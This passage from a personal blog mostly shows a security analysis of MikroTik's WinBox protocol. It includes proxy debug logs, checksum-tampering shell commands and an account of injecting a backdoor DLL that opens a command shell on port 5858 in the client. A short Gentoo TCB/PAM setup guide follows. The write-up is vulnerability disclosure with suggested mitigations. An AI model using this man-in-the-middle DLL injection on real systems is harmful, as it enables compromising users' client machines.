---> We need to recv() 226 bytes to complete transfer
---> We got 226 bytes read in, with a total of 226
---> Able to process packet now
----> Ok, got 226 bytes and a command of 2
----> Total bytes we have: 228
----> Length: 226
----> Command: 2
----> Filename: index
----> Destination: 1
----> Bytes to send: 208
----> Offset: 0
----> In process_packet(): Sending 228 bytes

--> Activity for fd 4
--> In state machine for 'local_client' current state id is  0
---> Got length of 18 bytes, and a tag of 2
---> We need to recv() 18 bytes to complete transfer
---> We got 18 bytes read in, with a total of 18
---> Able to process packet now
----> Ok, got 18 bytes and a command of 2
----> Total bytes we have: 20
----> Length: 18
----> Command: 2
----> Filename: roteros.dll
----> Destination: 0
----> Bytes to send: 65517
----> Offset: 0
----> In process_packet(): Sending 20 bytes

--> Activity for fd 5
--> In state machine for 'remote_server' current state id is  0
---> Got length of 255 bytes, and a tag of 2
---> We need to recv() 255 bytes to complete transfer
---> We got 255 bytes read in, with a total of 255
---> Able to process packet now
----> Ok, got 255 bytes and a command of 2
----> Total bytes we have: 257
----> Length: 255
----> Command: 2
----> Filename: roteros.dll
----> Destination: 1
----> Bytes to send: 65517
----> Offset: 0
----> In process_packet(): Sending 257 bytes

... snip ...

--> Activity for fd 4
--> In state machine for 'local_client' current state id is  0
---> Got length of 18 bytes, and a tag of 2
---> We need to recv() 18 bytes to complete transfer
---> We got 18 bytes read in, with a total of 18
---> Able to process packet now
----> Ok, got 18 bytes and a command of 2
----> Total bytes we have: 20
----> Length: 18
----> Command: 2
----> Filename: secure.dll
----> Destination: 0
----> Bytes to send: 65517
----> Offset: 0
----> In process_packet(): Sending 20 bytes

--> Activity for fd 5
--> In state machine for 'remote_server' current state id is  0
---> Got length of 255 bytes, and a tag of 2
---> We need to recv() 255 bytes to complete transfer
---> We got 255 bytes read in, with a total of 255
---> Able to process packet now
----> Ok, got 255 bytes and a command of 2
----> Total bytes we have: 257
----> Length: 255
----> Command: 2
----> Filename: secure.dll
----> Destination: 1
----> Bytes to send: 65517
----> Offset: 0
----> In process_packet(): Sending 257 bytes

... snip ...

--> Activity for fd 4
--> In state machine for 'local_client' current state id is  0
---> Didn't recieve 2 bytes as expected in state_machine(). We got 0 bytes instead

The proxy seems to run pretty well for our purposes. It could be extended further, but this will do for now.

Loading arbitrary DLL's into the WinBox.exe process

Let's review what needs to be done to load an arbitrary DLL into the WinBox process:

Some of the things we have to take care of is:

In the strings output of the decompressed winbox.exe seems to indicate there is no obvious error messages regarding incorrect signatures or incorrect checksums, so we may not have to calculate the required checksum information.

An easy way to verify theory would be to test modifying a 00roteros.info and seeing if the winbox.exe client complains.

[box] $ mount -o loop,offset=512 mikrotik.img /mnt/mikro-unclean/
[box] $ cd /mnt/mikro-unclean/home/web/winbox/
[box] $ vi 00roteros.info
[box] $ cat 00roteros.info
1439693345 502314 roteros.dll 2.9.46
[box] $ sed s/1439693345/8439693348/g <00roteros.info >00roteros.info~ ; mv 00roteros.info~ 00roteros.info
[box] $ cd /mnt ; umount /mnt/mikro-unclean/

Hopefully the "index" file in /mnt/mikro-unclean/home/web/winbox/ is dynamically generated off the *info files (maybe at startup or some such.)

After starting up the winbox.exe client and running it, we get:

wrong username or password

and checking the .wine/drive_c/windows/profiles/andrewg/Application Data/Mikrotik/Winbox/2.9.46 directoy, we have the following:

[andrewg@skypilot 2.9.46]$ cat roteros.crc
4144726052

Which is completely unexpected for what I wanted. After looking at the value that came up, we can see from the below command output that the value we specified in the sed command above is greater than what can be stored in 32 bits, and that it wrapped around to a 32bit value. So we just have to be a tad more careful. At least this indicates that the crc/checksum value isn't checked on the client at least.

[box] $ printf "%016x\n" 8439693348
00000001f70b8024
[box] $ printf "%d\n" $((0xf70b8024))
4144726052

Since it appears we no longer have to worry about the checksum/crc side of things, we can resume modifying our original proxy to include the dll injection.

Fortunately, ages ago I wrote a backdoor dll for issues like this, so I can reuse that code here. It basically listens in a thread on port 5858 and executes a command shell. To prepare the backdoor dll, it needs to be renamed to trojan.dll, and a gzipped version written to trojan.dll.gz.

The proxy code can be found here. The proxy works by intercepting the index responses from the Mikrotik service, modifying the data to include a DLL to load, and intercepting the request from the client looking for our trojan.dll file:

--> Activity for fd 5
--> In state machine for 'remote_server' current state id is  0
---> Got length of 73 bytes, and a tag of 255
---> We need to recv() 73 bytes to complete transfer
---> We got 73 bytes read in, with a total of 73
----> In process_packet(). Command is 2, total length of data recieved is 328
----> Command: 2
----> Filename: index
----> Destination: 1
----> Bytes to send: 310
----> Offset: 0
----> Performing modification checks
----> We have a response to 'index', modifying
2.9.46
----> Command: 2
----> Filename: index
----> Destination: 1
----> Bytes to send: 310
----> Offset: 0
... snip ...
8439693348 502314 roteros.dll 2.9.46
2665359431 32731 advtool.dll 2.9.46
845655727 40608 dhcp.dll 2.9.46
2933117763 51840 ppp.dll 2.9.46
274514525 64929 roting2.dll 2.9.46
3039506695 332195 secure.dll 2.9.46
192902660 4849 system.dll 2.9.46
1703254547 93131 wlan2.dll 2.9.46
4094249534 32060 wproxy.dll 2.9.46
13498121 5287 trojan.dll 2.9.46

...

--> Activity for fd 4
--> In state machine for 'local_client' current state id is  0
---> Got length of 18 bytes, and a tag of 2
---> We need to recv() 18 bytes to complete transfer
---> We got 18 bytes read in, with a total of 18
----> In process_packet(). Command is 2, total length of data recieved is 18
----> Command: 2
----> Filename: trojan.dll
----> Destination: 0
----> Bytes to send: 65517
----> Offset: 0
----> Performing modification checks
-----> Whoop, client requested our trojan DLL ;)
-----> Our header looks like:
----> Command: 2
----> Filename: trojan.dll
----> Destination: 1
----> Bytes to send: 5287
----> Offset: 0

...

Unfortunately, it appears WINE does not correctly emulate the backdoor functionality of the DLL, and instead spits out some debug information

[box] $ telnet 192.168.254.1 5858
Trying 192.168.254.1...
Connected to 192.168.254.1.
Escape character is '^]'.

eip=0x003f1600 eflags=0x00210206
edi=0x00000000 esi=0x00000064 ebp=0x6116480c esp=0x611647e0
eax=0x00000000 ebx=0x7246e538 ecx=0x00110020 edx=0x00110024

backtrace:


stack:
0x611649bc 0x00000000 0xfffa5a5a 0xfffa5a5a 0xfffa5a5a 0xfffa5a5a 0xfffa5a5a
0x0000000c 0x00000000 0x00000000 0x00000000 0x61164a18 0x003f1413 0x00000064
0x003f1348 0xfffa5a5a

This would most likely have worked if the WinBox client was running on Windows rather than myself running WinBox via WINE.

Oh well, we've proved it's possible to inject a malicious DLL into the traffic stream and to have the WinBox.exe client load the DLL. This is far easier / more efficient than exploiting a bug in the client code.

Summary

The network protocol used by WinBox is not resistant to attack or suitable for use in any hostile network. Usage of it may result in client machines being compromised.

Hopefully this section demonstrates that undocumented network protocols do not neccessarily mean they are secure.

Suggestions

What could be done to prevent this if this functionality was desired:

The above combination would suffice for a lot of possible attacks, but there are several others which may need to be countered for, such as an attacker getting control of a router, and replacing a DLL with an older (and potentially vulnerable via some mechanism) version that was correctly signed (a rollback attack).

For your reading enjoyment, here is a link to MikroTik Router Security Analysis Part 2.

Configuring Gentoo to use Openwall TCB authentication

(added 22/9/2007)

Openwall's TCB can be used as an alternative to the shadow authentication system (via /etc/shadow).

Using this method has several advantages over shadow, such as:

To use TCB under Gentoo, the packages libxcrypt and tcb need to be emerged. However, at the moment, the package tcb needs an overlay digest file to link correctly. After quickly hacking one together, I added it to an existing gentoo bug report.

With that portage overlay setup correctly, it can be emerged.

After emerging:

After messing around with /etc/pam.d/system-auth, it ended up looking like

auth       required     pam_env.so
#auth       sufficient  pam_unix.so likeauth nullok
auth       sufficient   pam_tcb.so likeauth nullok shadow  md5
auth       required     pam_deny.so

#account    required    pam_unix.so
account    required     pam_tcb.so shadow

password   required     pam_cracklib.so difok=2 minlen=8 dcredit=2 ocredit=2
retry=3
#password   sufficient  pam_unix.so nullok md5 shadow use_authtok
password   sufficient   pam_tcb.so write_to=tcb nullok md5 shadow
password   required     pam_deny.so

session    required     pam_limits.so
#session    required    pam_unix.so
session    required     pam_tcb.so

The above mentioned md5 sections probably need to be changed around a little bit, so that the blowfish password hashing is performed.

In addition to that, /etc/nsswitch.conf was required to be modified. I changed the shadow line so that it looked like:

shadow:      tcb compat

Whilst experimenting, it seems the permissions on /etc/tcb got messed up, and needed to be rest. From looking at the filesystem slide this was easily done.

After all these was followed, /etc/shadow was moved to /etc/shadow1. It was possible to log in via ssh, and could change passwords.

Afterwards everything was working as expected, /bin/passwd required some modification. chown root:shadow /bin/passwd; chmod u-s /bin/passwd; chmod g+s /bin/passwd did the trick :)

More information about setting up TCB and the things that need to be changed / tested can be found here.

Misc

A while ago I accidentally destroyed my previous website content. I've decided to make a new one up, and start afresh, rather than restoring the contents from cached copies.